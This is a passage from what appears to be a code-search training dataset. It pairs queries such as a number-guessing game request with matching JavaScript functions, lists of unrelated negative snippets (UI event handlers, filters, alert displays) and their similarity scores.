\\t\\t\\t\\t\\tpageSize: 10\\n \\t\\t\\t\\t});\\n \\t\\t\\t} else {\\n \\t\\t\\tfillDataTableGoodsDetailPopUp([]);\\n \\t\\t\\t}\\n \\t\\t\\t\\n \\t\\t\\tconsole.log(vm.orderGoodsDetailSearch.goodsName);\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t}\",\n \"handleSelection(event) {\\n this.pollEverySec(this.interval);\\n const eventData = event.detail;\\n const fields = {\\n Name: eventData.name,\\n EventType: eventData.type,\\n PrimaryPersonId: this.contactId,\\n EventDate: new Date().toISOString()\\n };\\n this.showNewLifeEventPage(fields, \\\"new\\\");\\n }\",\n \"function load() {\\n if(vm.document._id !== -1) {\\n backendService.getDocumentById(vm.document._id).success(function(data) {\\n\\n // got the data - preset the selection\\n vm.document.title = data.title;\\n vm.document.fileName = data.fileName;\\n vm.document.amount = data.amount;\\n vm.document.senders = data.senders;\\n vm.document.tags = data.tags;\\n vm.document.modified = data.modified;\\n vm.document.created = data.created;\\n\\n vm.selectedSenders = data.senders;\\n vm.selectedTags = data.tags;\\n\\n })\\n .error( function(data, status, headers) {\\n\\n if(status === 403) {\\n $rootScope.$emit('::authError::');\\n return;\\n }\\n\\n alert('Error: ' + data + '\\\\nHTTP-Status: ' + status);\\n return $location.path('/');\\n\\n\\n });\\n } else {\\n vm.selectedSenders = [];\\n vm.selectedTags = [];\\n }\\n\\n }\",\n \"initExtras() {\\n this._extraService.getExtra().subscribe(response => {\\n this.extras = response.extra;\\n if (response.extra.length <= 0) {\\n this.fatalError = true;\\n this.loading = false;\\n this.launchAlert('info', 'Sin Datos de RMUV', 'Al parecer no existen datos de la Remuneracion Unificada Vigente, por favor, Ingresarlos antes de continuar', 'Ingresar Ahora!!', true, null, null, null, null, null);\\n // alert('no existen los datos de RMUV... por favor ingresarlos antes de continuar con los registros de consumo');\\n }\\n else if (response.extra.length >= 1) {\\n this.fatalError = false;\\n this.loading = false;\\n }\\n }, error => {\\n this.loading = false;\\n console.log(error);\\n this.errorCatched.description = error.toString();\\n this.errorCatched.table = 'Extra';\\n this.errorCatched.action = 'getExtras';\\n this.errorCatched.title = 'Error en la Obtencion de Los datos Extras';\\n this.errorCatched.zone = 'addRegister';\\n this.errorCatched.code = this.errorCatched.zone + '-' + this.errorCatched.action + '-' + this.errorCatched.table;\\n this.errorCatcherService.saveError(this.errorCatched).subscribe(response => {\\n this.launchAlert('error', 'Error en la Carga', 'Se ha producido un error a la hora de cargar los datos de la RMUV' + response.Message, 'Ir a la Ventana de Errores de Sistema? ', true, null, null, null, null, null);\\n });\\n });\\n }\",\n \"function initEventListener() {\\n $scope.$on(vm.controllerId + '.data.filter', function (e, v) {\\n vm.data.searchString = v;\\n });\\n $scope.$on(vm.controllerId + '.action.refresh', function (event, data) {\\n getPage(_tableState);\\n });\\n $scope.$on(vm.controllerId + '.action.reload', function (e, v) {\\n reload();\\n });\\n $scope.$on(vm.controllerId + '.action.F2', function (e, v) {\\n console.log(checkQuyenUI('N'));\\n if (checkQuyenUI('N')) {\\n window.location.href = linkUrl + 'create';\\n }\\n });\\n }\",\n \"handlesClick(){\\n \\n const selectedFieldsValueParam = this.selectedFieldsValue;\\n const showComp = this.showScreen;\\n this.hideObjectScreen=false;\\n const isHideObjectScreen= this.hideObjectScreen;\\n \\n //console.log('Hi' +showComp);\\n // console.log('selectedFieldsValueParam=='+this.selectedFieldsValue);\\n // console.log('selectedFieldsValueParam= '+selectedFieldsValueParam);\\n\\n //show error if no rows have been selected\\n if(selectedFieldsValueParam ===null || selectedFieldsValueParam===''){\\n const evt = new ShowToastEvent({\\n title: this._title,\\n message: this.message,\\n variant: this.variant,\\n });\\n this.dispatchEvent(evt);\\n }\\n else {\\n //propage event to next component\\n const evtCustomEvent = new CustomEvent('retreive', {\\n detail: { selectedFieldsValueParam,showComp,isHideObjectScreen}\\n });\\n this.dispatchEvent(evtCustomEvent);\\n }\\n }\",\n \"onTriggerClick() {\\n const me = this;\\n\\n if (me.pickerVisible) {\\n me.hidePicker();\\n } else {\\n if (!me.readOnly && !me.disabled) {\\n switch (me.triggerAction) {\\n case this.constructor.queryAll:\\n me.doFilter(null);\\n break;\\n\\n case comboQueryLast:\\n me.doFilter(me.lastQuery);\\n break;\\n\\n default:\\n me.doFilter(me.input.value);\\n }\\n }\\n }\\n }\",\n \"click(){\\r\\n if ( !this.isDisabled && !this.readnly ){\\r\\n this.getRef('input').focus();\\r\\n if ( this.filteredData.length ){\\r\\n this.isOpened = !this.isOpened;\\r\\n }\\r\\n }\\r\\n }\",\n \"function filterHandler() {\\n\\n // Available checkbox\\n $('#Check0').change(function(){\\n filter.available = this.checked;\\n genericLoad();\\n })\\n\\n // price range filter\\n $('#confirm-filter').click(function() {\\n var min = $('#min-filter').val();\\n var max = $('#max-filter').val();\\n\\n if(($.isNumeric(min) || $.isNumeric(max)) && (min >= 0 && max >= 0)) {\\n filter.minPrice = $.isNumeric(min)? min : filter.minPrice;\\n filter.maxPrice = $.isNumeric(max)? max : filter.maxPrice;\\n genericLoad();\\n }\\n else \\n showNotificationBar(\\\"Per favore, inserisci dei valori positivi\\\");\\n });\\n\\n // reset button\\n $('#reset-filter').click(function() {\\n\\n filter.minPrice = 0;\\n filter.maxPrice = Number.MAX_VALUE;\\n genericLoad();\\n\\n });\\n\\n // review filter\\n $(\\\"input[name='filter']\\\").change(function() {\\n\\n filter.starRating = $(this).val();\\n genericLoad();\\n\\n });\\n\\n}\",\n \"function onSelect(event) {\\r\\n refresh(JSON.parse(event.data));\\r\\n}\",\n \"function filterListener(){\\n $(\\\"#colorFilter\\\").change(function(){\\n populateBikeList();\\n });\\n $(\\\"#statusFilter\\\").change(function(){\\n populateBikeList();\\n });\\n }\",\n \"function bindExistingAlerts() {\\n\\t\\t\\tvar allAlertsCloseBtns$ = jContainer.find(\\\".container-ASWidgetAlert .close\\\");\\n\\t\\t\\tallAlertsCloseBtns$.unbind(\\\"click\\\").on(\\\"click\\\", function(event) {\\n\\t\\t\\t\\t$(event.currentTarget).parents(\\\".container-ASWidgetAlert\\\").first().remove();\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t});\\n\\t\\t}\",\n \"function makeAlerts(){\\n// put event listener for each selected tag\\n var myp = document.querySelectorAll(\\\"#a2 p\\\");\\n for(var i=0; i < myp.length; i++){//loop for the length of the myp array\\n myp[i].addEventListener(\\\"click\\\",showNewAlert);//add a listener for every object in the arry\\n }\\n}\",\n \"function onReportDiagnosticPopupSeeAllBtnClick() {\\r\\n seeAllClicked = true;\\r\\n tau.closePopup();\\r\\n }\",\n \"function alerts (io) {\\n\\tio.of('/alert').on('connection', (USA) => {\\n\\t\\tconsole.log(`United States ready to recieve alerts at ${USA.id}`);\\n\\n\\t\\talertEvent.on('alert', () => {\\n\\t\\t\\tfor (const msg of usaAlerts) {\\n\\t\\t\\t\\tUSA.emit('alert', msg);\\n\\t\\t\\t}\\n\\t\\t\\tusaAlerts = [];\\n\\t\\t});\\n\\n\\t\\tUSA.on('disconnect', () => console.log(`USA disconnected ${USA.id}`));\\n\\t});\\n}\",\n \"constructor() {\\n this.display = document.getElementById('displayRow'); //getting the tbody of our table\\n this.notify = document.getElementById('notification'); //getting the div tag above table to show alerts\\n }\",\n \"function callOnholdRes(d,s) {\\n d = d.data;\\n $(\\\"#onhold-open-popup .onholdres\\\").html(d.content_detail);\\n $('#onhold-open-popup').modal('show');\\n $('#onhold-open-popup button.btn').addClass('inactive');\\n setTimeout(function() {\\n modifyDropDown({selectorClass:'#onhold-open-popup .onholdres #onholdsection',searchAny:true,placeholder:'Search Reason'});\\n },0);\\n hideFullLoader('content_loader');\\n //Added dropDown on change event\\n $('#onhold-open-popup #onholdsection').on('change', function(){\\n if($(this).children('option:selected').val() === 'Please select a reason:'){\\n $('#onhold-open-popup button.btn').addClass('inactive');\\n } else {\\n $('#onhold-open-popup button.btn').removeClass('inactive');\\n }\\n });\\n }\",\n \"handleLookupSelect(event) { \\n this.selectedName = event.detail.Family; \\n this.showoptions=false;\\n \\n }\",\n \"function handleSupp(ev) {\\n console.log(contacts.filter((_) => _.id !== ev.detail.id ));\\n setContacts(contacts.filter((_) => _.id !== ev.detail.id ));\\n }\",\n \"function loadOffers() { // ohne alerts funktionierts nicht =( ... wieso??\\n\\t// reset selectedID (account could have been deleted in meantime)\\n\\t// selectedOffer = null;\\n\\tconnect(\\\"/hiwi/Provider/js/loadOffers\\\", \\\"\\\", handleLoadOffersResponse);\\n}\",\n \"ngOnInit() {\\r\\n //this._auctionListService.getAuctionItems().subscribe(\\r\\n //data => this.auctionItems = data FOR FILTERING \\r\\n //)\\r\\n this.getAuctionItems();\\r\\n }\",\n \"function loadSuccess(ev) {\\n if (ev) {\\n removeAllEventsFromDisplay();\\n cosmo.view.cal.itemRegistry = ev;\\n }\\n cosmo.view.cal.itemRegistry.each(appendLozenge);\\n // Update the view\\n updateEventsDisplay();\\n }\",\n \"function getCategory(e) {\\n filter(e.target.value); //filter function send which button we click\\n if(e.target.value == \\\"all\\\"){\\n bringFoods(); // bringFoods run when we click \\\"all button\\\" & form loaded\\n }\\n\\n}\",\n \"function showEnsFilters() {\\t\\r\\n\\r\\n}\",\n \"function buttonClick(){\\n // Prevent the page from refreshing\\n d3.event.preventDefault();\\n // Create & display new table with filtered/searched data\\n var filtered_table = tableData.filter(ufo_sighting => ufo_sighting.datetime===dateInputText.property(\\\"value\\\"))\\n displayData(filtered_table);\\n}\",\n \"function showGrowerList(e) {\\n viewModel.set(\\\"selectedUserId\\\", e.view.params.userId);\\n initList();\\n }\",\n \"onTriggerClick() {\\n const me = this;\\n\\n if (me.pickerVisible) {\\n me.hidePicker();\\n } else {\\n if (!me.readOnly && !me.disabled) {\\n switch (me.triggerAction) {\\n case comboQueryAll:\\n me.doFilter(null);\\n break;\\n case comboQueryLast:\\n me.doFilter(me.lastQuery);\\n break;\\n default:\\n me.doFilter(me.input.value);\\n }\\n }\\n }\\n }\",\n \"function alerts() {\\n $(\\\"span.top-label.label.label-warning\\\").text(todoItemsData.length);\\n $('.dropdown-alerts').empty();\\n $.each(todoItemsData, (idx, item) => {\\n let i = $('');\\n let span = $('').text( daysLeft(item.date) + ' days left');\\n let div = $('
    ').append(i).append(item.title).append(span);\\n let a = $('
    ')\\n .click( () => {\\n $('.card[data-todoid=\\\"' + item.item_id + '\\\"] .edit-btn').click();\\n })\\n .append(div);\\n let li = $('
  • ').append(a);\\n let divider = $('
  • ');\\n $(\\\"ul.dropdown-menu.dropdown-alerts\\\").append(li).append(divider);\\n });\\n}\",\n \"function setFilterDisplayObj() {\\n var postArray = ['categoryFilter', 'statusFilter', 'substatusFilter', 'typeFilter', 'subTypeFilter', 'venueFilter', 'lawtypeFilter'];\\n var valKey = ['category', 'statuses', 'substatus', 'type', 'subtypes', 'venues', 'law-types'];\\n var filterObj = {};\\n _.each(postArray, function (val, index) {\\n //get array of current valkey item from masterlist\\n if (val == 'substatusFilter') {\\n var array = extractSubStatus();\\n } else if (val == 'subTypeFilter') {\\n var array = extractSubTypes();\\n } else {\\n var array = angular.copy(self.viewModel.masterList[valKey[index]]);\\n }\\n\\n var appliedFilters = [];\\n //iterate over current selected filters\\n\\n var filterString = self.viewModel.filters[val].toString();\\n _.forEach(filterString.split(','), function (id) {\\n if (utils.isEmptyString(id)) { return; } //if filter id is all/stalled push as is\\n if (id === \\\"all\\\") {\\n appliedFilters.push(id);\\n } else if (id === \\\"stalled\\\") {\\n appliedFilters.push('');\\n } else {\\n // find object from array having the current id\\n var appliedFilter = _.find(array, function (item) {\\n return item.id === id;\\n });\\n\\n if (utils.isEmptyVal(appliedFilter.name)) {\\n appliedFilter.name = \\\"{Blank}\\\";\\n }\\n appliedFilters.push(appliedFilter.name);\\n }\\n });\\n //set the filter obj\\n // filterObj ={name:,value:}\\n filterObj[val] = {};\\n filterObj[val].name = valKey[index].toUpperCase();\\n filterObj[val].data = appliedFilters;\\n });\\n filterObj.orderby = {\\n name: \\\"ORDERED BY\\\",\\n data: [self.getSortByLabel(self.viewModel.filters.sortby)]\\n };\\n\\n //US#5557 Added Include referredOut status in print with Yes/ No ....Start\\n if (self.viewModel.filters.statusFilter == \\\"stalled\\\" || self.viewModel.filters.statusCase == \\\"Stalled\\\") {\\n var includeReferredOutValue = self.viewModel.filters.includeReferredOut == 1 ? 'Yes' : '';\\n filterObj.includeReferredOut = {\\n name: \\\"Include Referred Out\\\",\\n data: [includeReferredOutValue]\\n };\\n\\n filterObj.statusCase = {\\n name: \\\"Stalled\\\",\\n data: [self.viewModel.filters.statusCase]\\n };\\n }\\n\\n var attorneys = self.allUsers[1].attorny;\\n var staffs = self.allUsers[4].staffonly;\\n var paralegals = self.allUsers[3].paralegal;\\n if (utils.isNotEmptyVal(self.viewModel.filters.leadAttorney)) {\\n var userObj = _.find(attorneys, function (user) {\\n return user.uid == self.viewModel.filters.leadAttorney;\\n });\\n var userName = userObj.name + ' ' + userObj.lname;\\n filterObj.leadAttorney = {\\n name: 'Lead Attorney',\\n data: [userName]\\n };\\n } else {\\n filterObj.leadAttorney = {\\n name: 'Lead Attorney',\\n data: []\\n };\\n }\\n\\n if (utils.isNotEmptyVal(self.viewModel.filters.attorney)) {\\n var userObj = _.find(attorneys, function (user) {\\n return user.uid == self.viewModel.filters.attorney;\\n });\\n var userName = userObj.name + ' ' + userObj.lname;\\n filterObj.attorney = {\\n name: 'Attorney',\\n data: [userName]\\n };\\n } else {\\n filterObj.attorney = {\\n name: 'Attorney',\\n data: []\\n };\\n }\\n\\n if (utils.isNotEmptyVal(self.viewModel.filters.staff)) {\\n var userObj = _.find(staffs, function (user) {\\n return user.uid == self.viewModel.filters.staff;\\n });\\n var userName = userObj.name + ' ' + userObj.lname;\\n filterObj.staff = {\\n name: 'Staff',\\n data: [userName]\\n };\\n } else {\\n filterObj.staff = {\\n name: 'Staff',\\n data: []\\n };\\n }\\n\\n if (utils.isNotEmptyVal(self.viewModel.filters.paralegal)) {\\n var userObj = _.find(paralegals, function (user) {\\n return user.uid == self.viewModel.filters.paralegal;\\n });\\n var userName = userObj.name + ' ' + userObj.lname;\\n filterObj.paralegal = {\\n name: 'Paralegal',\\n data: [userName]\\n };\\n } else {\\n filterObj.paralegal = {\\n name: 'Paralegal',\\n data: []\\n };\\n }\\n\\n if (utils.isNotEmptyVal(self.viewModel.filters.doiEnd) && utils.isNotEmptyVal(self.viewModel.filters.doiStart)) {\\n var start = moment.unix(self.viewModel.filters.doiStart).utc().format('MM/DD/YYYY');\\n var end = moment.unix(self.viewModel.filters.doiEnd).utc().format('MM/DD/YYYY');\\n filterObj.doi = {\\n name: 'DOI Range',\\n data: [start + ' - ' + end]\\n };\\n }\\n return filterObj;\\n }\",\n \"function showAlert(alert_id) {\\n hideAlerts();\\n $('#' + alert_id).show();\\n }\",\n \"function showAlert(alert_id) {\\n hideAlerts();\\n $('#' + alert_id).show();\\n }\",\n \"function setupAreaSelectionEventListener() {\\n $(\\\"#area-dropdown .dropdown-menu li a\\\").click(function () {\\n selectedArea = $(this).text();\\n var selText = $(this).text();\\n $(this).parents('.btn-group').find('.dropdown-toggle').html(selText + ' ');\\n clearDoctorDetails();\\n dataTable.rows().every(function (rowIdx, tableLoop, rowLoop) {\\n var data = this.data();\\n if (selText !== \\\"All Cities\\\" && data.area !== selText) {\\n this.node().style.display = \\\"none\\\";\\n } else if (selectedSpeciality == null || selectedSpeciality == data.speciality) {\\n this.node().style.display = \\\"\\\";\\n }\\n });\\n });\\n}\",\n \"showResults(data) {\\n\\n const results = data.airports;\\n\\n console.log(results);\\n\\n let output = \\\"\\\";\\n //The following for will print all the results in our table in the index.html \\n //(saving in variable output)\\n for (let index = 0; index < results.length; index++) {\\n output += \\\"\\\"; //creating a table row element\\n\\n output += \\\"\\\" + results[index].name + \\\"\\\";\\n output += \\\"\\\" + results[index].iata + \\\"\\\";\\n output += \\\"\\\" + results[index].state.type + \\\"\\\";\\n output += \\\"\\\" + results[index].city + \\\"\\\";\\n output += \\\"\\\" + results[index].state.name + \\\"\\\";\\n output += \\\"\\\" + results[index].country.name + \\\"\\\";\\n\\n output += \\\"\\\";\\n }\\n\\n // console.log(output);\\n\\n // Notifying the number of airports found based on the query (in the div tag we get in constructor)\\n this.notify.innerHTML = `\\n
    \\n
    \\n Showing ${results.length}\\n Results for ${data.term.toUpperCase()}\\n
    \\n
    \\n `;\\n\\n // TimeOut (It will show the alert for 7 seconds)\\n setTimeout(() => {\\n const currentAlertS = document.querySelector('.is-primary');\\n\\n if (currentAlertS) {\\n\\n currentAlertS.remove();\\n }\\n\\n }, 7000);\\n\\n\\n //putting the data got from restful API into the table\\n this.display.innerHTML = output;\\n }\",\n \"function getAlertAreas(){\\n if($window.localStorage[\\\"authenticated\\\"] !== \\\"null\\\" && $window.localStorage[\\\"authenticated\\\"] === \\\"true\\\" && $window.localStorage[\\\"token\\\"] !== \\\"null\\\" && $window.localStorage[\\\"token\\\"]) {\\n AlertArea_Service.setToken($window.localStorage[\\\"token\\\"]);\\n var alertareas = AlertArea_Service.AlertAreas().get();\\n alertareas.$promise.then(function() {\\n removeAlertAreas();\\n geofenceLayer = L.geoJson(alertareas, {\\n style: function(feature) {\\n return {\\n color: '#3b9972',\\n weight: 2,\\n opacity: 0.6,\\n fillOpacity: 0.1,\\n pk: feature.properties.pk,\\n /*Mark the polygon with it's database id*/\\n objType: 'polygon'\\n }}\\n }).eachLayer(function(layer){alertareaLayer.addLayer(layer);});\\n $scope.map.addLayer(alertareaLayer);\\n $scope.legend.alertAreas = true;\\n }, function(err) {\\n try {\\n $cordovaToast.showShortBottom(\\\"Alert areas could not be retrieved.\\\");\\n } catch (err) {\\n console.log(\\\"Alert areas could not be retrieved.\\\");\\n }\\n })\\n }}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6027999","0.5704662","0.56729025","0.5671811","0.55752796","0.55389655","0.55389655","0.55220586","0.55215806","0.5472647","0.54531014","0.544349","0.5392448","0.5316566","0.5316141","0.5280121","0.5274039","0.5268145","0.5252321","0.52098984","0.52023536","0.5186827","0.51832294","0.5160721","0.5160721","0.516","0.51499045","0.51406646","0.5136927","0.5116341","0.51093304","0.5071003","0.5046768","0.50401634","0.50315094","0.5020471","0.50150204","0.50143373","0.50125945","0.50103587","0.5001244","0.4995273","0.498988","0.49861866","0.49836588","0.49805188","0.49763703","0.49755692","0.4967972","0.49545512","0.4953094","0.49499846","0.49472106","0.4946808","0.4946714","0.49463934","0.4945627","0.4945369","0.49423164","0.49414644","0.49384114","0.49348313","0.49320146","0.49318388","0.49252215","0.49182466","0.49168628","0.49137244","0.4913263","0.49087465","0.49078217","0.4903647","0.49028143","0.4902472","0.49015626","0.49006084","0.48998114","0.48960343","0.48898795","0.48781595","0.4857761","0.48572773","0.4856508","0.4853823","0.48504835","0.4848138","0.48449126","0.48431608","0.4840631","0.48405215","0.4833749","0.48334733","0.48285845","0.48233977","0.48233223","0.4808477","0.4808477","0.47951692","0.4794231","0.47928625"],"string":"[\n \"0.6027999\",\n \"0.5704662\",\n \"0.56729025\",\n \"0.5671811\",\n \"0.55752796\",\n \"0.55389655\",\n \"0.55389655\",\n \"0.55220586\",\n \"0.55215806\",\n \"0.5472647\",\n \"0.54531014\",\n \"0.544349\",\n \"0.5392448\",\n \"0.5316566\",\n \"0.5316141\",\n \"0.5280121\",\n \"0.5274039\",\n \"0.5268145\",\n \"0.5252321\",\n \"0.52098984\",\n \"0.52023536\",\n \"0.5186827\",\n \"0.51832294\",\n \"0.5160721\",\n \"0.5160721\",\n \"0.516\",\n \"0.51499045\",\n \"0.51406646\",\n \"0.5136927\",\n \"0.5116341\",\n \"0.51093304\",\n \"0.5071003\",\n \"0.5046768\",\n \"0.50401634\",\n \"0.50315094\",\n \"0.5020471\",\n \"0.50150204\",\n \"0.50143373\",\n \"0.50125945\",\n \"0.50103587\",\n \"0.5001244\",\n \"0.4995273\",\n \"0.498988\",\n \"0.49861866\",\n \"0.49836588\",\n \"0.49805188\",\n \"0.49763703\",\n \"0.49755692\",\n \"0.4967972\",\n \"0.49545512\",\n \"0.4953094\",\n \"0.49499846\",\n \"0.49472106\",\n \"0.4946808\",\n \"0.4946714\",\n \"0.49463934\",\n \"0.4945627\",\n \"0.4945369\",\n \"0.49423164\",\n \"0.49414644\",\n \"0.49384114\",\n \"0.49348313\",\n \"0.49320146\",\n \"0.49318388\",\n \"0.49252215\",\n \"0.49182466\",\n \"0.49168628\",\n \"0.49137244\",\n \"0.4913263\",\n \"0.49087465\",\n \"0.49078217\",\n \"0.4903647\",\n \"0.49028143\",\n \"0.4902472\",\n \"0.49015626\",\n \"0.49006084\",\n \"0.48998114\",\n \"0.48960343\",\n \"0.48898795\",\n \"0.48781595\",\n \"0.4857761\",\n \"0.48572773\",\n \"0.4856508\",\n \"0.4853823\",\n \"0.48504835\",\n \"0.4848138\",\n \"0.48449126\",\n \"0.48431608\",\n \"0.4840631\",\n \"0.48405215\",\n \"0.4833749\",\n \"0.48334733\",\n \"0.48285845\",\n \"0.48233977\",\n \"0.48233223\",\n \"0.4808477\",\n \"0.4808477\",\n \"0.47951692\",\n \"0.4794231\",\n \"0.47928625\"\n]"},"document_score":{"kind":"string","value":"0.48475093"},"document_rank":{"kind":"string","value":"86"}}},{"rowIdx":9,"cells":{"query":{"kind":"string","value":"1) Generate random number 2) Give user ability to guess 3) If they are wrong guess again, maybe get a hint 4) IF they win say they won"},"document":{"kind":"string","value":"function guessGame() {\n let randomNr = Math.floor(Math.random() * 11);\n console.log(randomNr);\n let guess;\n\n do {\n guess = prompt(\"Guess a number between 1 and 10\");\n console.log(guess, randomNr);\n if (randomNr > guess) {\n console.log(\"You guessed to low\");\n } else if (randomNr < guess) {\n console.log(\"You guessed too high\");\n }\n } while (guess != randomNr);\n console.log(\"You won!\");\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function randomNumber() {\n\tif (getyx(y,x) =='Y3X23' || getyx(y,x) =='Y3X2') {\n\t\tvar randomNumber = (Math.floor(Math.random() * 5) + 1);\n\t\tvar bet = prompt('Please make a wager');\n\t\tvar guess = prompt('Please pick a number from 1 to 5');\n\t\t\tif(parseInt(guess) == randomNumber) {\n\t\t\talert('You just increased your score by ' + bet + ' !')\n\t\t\tscore += parseInt(bet);\n\t\t\tscoreCheck();\n\t\t}\n\t\telse {\n\t\t\talert('Sorry you just lost ' + bet + ' health points :(');\n\t\t\thealth -= parseInt(bet);\n\t\t\tscoreCheck();\n\t\t}\n\t}\n}","function processValidGuess(guess) {\n if (guess < aRandomNumber) {\n $('.result-line').text(\"That is too low\");\n } else if (guess > aRandomNumber) {\n $('.result-line').text(\"That is too high\");\n } else {\n increaseWins();\n increaseMinMax();\n $('.result-line').text(\"BOOM! Click Reset to continue playing\");\n }\n }","function provideHint(){\n\tvar guessesLeft = (5 - (arrayOfGuesses.length));\n\tvar hintArray = [winningNumber];\n\tfor (var i = 1; i < 2*guessesLeft; i++) {\n\t\tvar rand = generateWinningNumber();\n\t\thintArray.push(rand);\n\t}\n\tshuffle(hintArray);\n\tchangeAnn(\"One of these is the answer: \" + hintArray);\n}","function guessing() {\n\tconst guess = Number(document.querySelector(\".guess\").value);\n\t// ----- Invalid input\n\tif (guess < 1 || guess > 20) {\n\t\tchangeText(\".number\", guess);\n\t\tchangeText(\n\t\t\t\".message\",\n\t\t\t\"Invalid value, please select number between 1 and 20\"\n\t\t);\n\t} // ----- Correct Guess\n\telse if (guess === randomNumber) {\n\t\tchangeText(\".number\", randomNumber);\n\t\tdocument.querySelector(\"body\").style.backgroundColor = \"green\";\n\t\tdocument.querySelector(\".number\").style.width = \"30rem\";\n\t\tscore++;\n\t\tchangeText(\".score\", score);\n\t\tchangeText(\".message\", \"You are Correct!\");\n\t\t//Validate that score is higher than highscore and, if true, set highscore\n\t\tscore > highscore ? (highscore = score) : highscore;\n\t\tchangeText(\".highscore\", highscore);\n\t} // ----- Low Guess\n\telse if (guess < randomNumber) {\n\t\tlowHighGuess(\"low\");\n\t} // ----- High Guess\n\telse if (guess > randomNumber) {\n\t\tlowHighGuess(\"high\");\n\t}\n}","function checkGuess(guess) {\n // Write your code here\n if (guess == randomNumber){\n alert(\"You got it!\");\n }\n else {\n alert(\"Try again\");\n }\n }","function enterAGuess(guessedNumbered){\n\n var differenceNum = Math.abs(guessedNumbered - randomNum);\n if (differenceNum == 0){\n \t//alert(\"You did it!\");\n \t$(\"h2\").text(\"You Won!\");\n } \n \telse if (differenceNum >= 50){\n \t\t$(\"h2\").text(\"Colder\");\n \t}\n else if (differenceNum >= 30){\n \t$(\"h2\").text(\"Cold\");\n }\n else if (differenceNum >=20){\n \t$(\"h2\").text(\"Hot\");\n }\n else if (differenceNum >=10){\n \t$(\"h2\").text(\"Hotter\");\n } \n /*---- counting the number of guesses */\n countTrackGuesses(guessedNumbered);\t\n }","function processGuess() {\n var guess = document.getElementById(\"inputText\").value;\n var hint = document.getElementById(\"hintMessage\");\n hint.innerHTML = guess;\n var recent = document.getElementById(\"inputText\").value;\n recentGuess.innerHTML = guess;\n // If the userGuess is lower than the random number the h2 will tell the user their guess is too low.\n if (guess < rand) {\n hint.innerHTML = \"Hint: Your guess is too low, please try again.\"\n };\n // If the userGuess is higher than the random number the h2 will tell the user their guess is too high.\n if (guess > rand) {\n hint.innerHTML= \"Hint: Your guess is too high, please try again.\"\n };\n // If the user guess is equal to the random number the user wins!\n if (guess == rand) {\n hint.innerHTML= \"Congrats, victory is yours!\"\n };\n guess = document.getElementById(\"inputText\").value = \"\";\n}","function guessLogic(guess){\n if (randomNum > guess){\n \tdocument.getElementById(\"userGuess\").innerText = guess;\n \tdocument.getElementById(\"statement\").innerText = \"Your last guess was\";\n \tdocument.getElementById(\"response\").innerText = \"That is too low\";\t\n }\n else if (randomNum < guess ){\n \t\tdocument.getElementById(\"userGuess\").innerText = guess;\n \t\tdocument.getElementById(\"statement\").innerText = \"Your last guess was\";\n \t\tdocument.getElementById(\"response\").innerText = \"That is too high\";\t\n }\n else{\n \t\twinner(guess)\n }\n}","function letsGuess() {\n // sugenereuoti skaiciu nuo 1 iki 10 sveika skaiciu\n let randomNumber = Math.floor(Math.random() * 10) + 1;\n // console.log(\"randomNumber\", randomNumber);\n // paprasyti user input ir patikrtinti ar pataikyta\n let userNumber = prompt(\"Iveskite skaiciu\");\n // console.log(\"userNumber\", +userNumber);\n\n if (randomNumber === +userNumber) {\n console.log(\"Pataikete, sveikinimai\");\n } else {\n console.log(\"Neatspejote, bandykite dar karta. Kompiuteris spejo kad sptesit\", randomNumber);\n }\n}","function checkGuess() {\n\n\tif (playersGuess==winningNumber) {\n\t\t\t$(\"#winner\").text(\"!!! IT'S YOU. YOU WON !!!\");\n\t\t\talert(\"WE HAVE A WINNER!!!\");\n\t\t\t//add some sick congratulatory elements\n\t} else {\n\t\t\tlowerOrHigher();\n\t}\n}","function makeGuess() {\n if (hasGameEnded(guesses, secret)) {\n return;\n }\n if (isValidInput(guess)) {\n setStatus(\"\");\n console.log(\"secret: \" + secret);\n setGuesses(guesses.concat(guess));\n setGuess(\"\");\n setHints(hints.concat(getHint(secret, guess)));\n console.log(\"num guesses: \" + guesses.length);\n } else {\n console.log(\"bad input\");\n setStatus(\"A guess must be a 4-digit unique integer (1-9)\");\n }\n }","function guessFunction(userNum, randomNum) {\n if (userNum === randomNum) {\n boom();\n lastGuessNumber.style.color = \"#1abc9c\";\n guessBtn.disabled = true;\n setRangeValue(minNum -= 10, maxNum += 10);\n } else if (userNum > randomNum) {\n guessText.innerText = \"That is too high\";\n lastGuessNumber.style.color = \"#ed5a64\";\n } else {\n guessText.innerText = \"That is too low\";\n lastGuessNumber.style.color = \"#ed5a64\";\n }\n}","function guessingGame() {\n\tvar randomNumber = Math.ceil(20 * Math.random());\n\tvar guess = Number(prompt(\"Try a number between 1 and 20!\"));\n\tvar numTries = 1;\n\tif (guess === randomNumber) {\n\t\talert(\"Congratulations! You guessed correctly on the first try.\");\n\t}\n\twhile (guess !== randomNumber) {\n\t\tguess = Number(prompt(\"Try again.\"));\n\t\tnumTries++;\n\t\tif (guess === randomNumber) {\n\t\t\talert(\"Congratulations! It took you \" + numTries + \" tries.\");\n\t\t\treturn(guess);\n\t\t}\n\t}\t\n}","function checkGuess(){\r\n guesstext=guesstext.toUpperCase();//country array is in upper case, so change guess to uppercase\r\n if(guesstext==answer){//if the guess was correct\r\n answer=pickAnswer();//find a new answer\r\n chances=3; score+=10; guess.value=\"\";//reset chances to 3, add 10 to score and clear guess input field\r\n alert(guesstext+\"! You're right!\");//congratulate the user\r\n }\r\n else{chances-=1; guess.value=\"\";//guess is not correct, subtract one chance and clear the input field\r\n if(chances>0){alert(\"Nope. Try again.\");}//if there are chances left, ask user to try again\r\n }\r\n showGui();// turns on the engine and updates info\r\n }","function guess() {\n\n // WRITE YOUR EXERCISE 4 CODE HERE\n let number=Math.floor(Math.random()*999)+1;\n let attempts=0;\n let correct_answer = false;\n while (correct_answer==false) {\n let guess=prompt('enter your guess')\n if(guess>=1 && guess<=1000 && Number.isInteger(Number(guess))){\n console.log(\"1\");\n if (number==guess){\n attempts++;\n correct_answer=true;\n alert(\"Correct Answer!\")\n document.getElementById('guess-output').innerHTML=\"Number: \"+number+\"
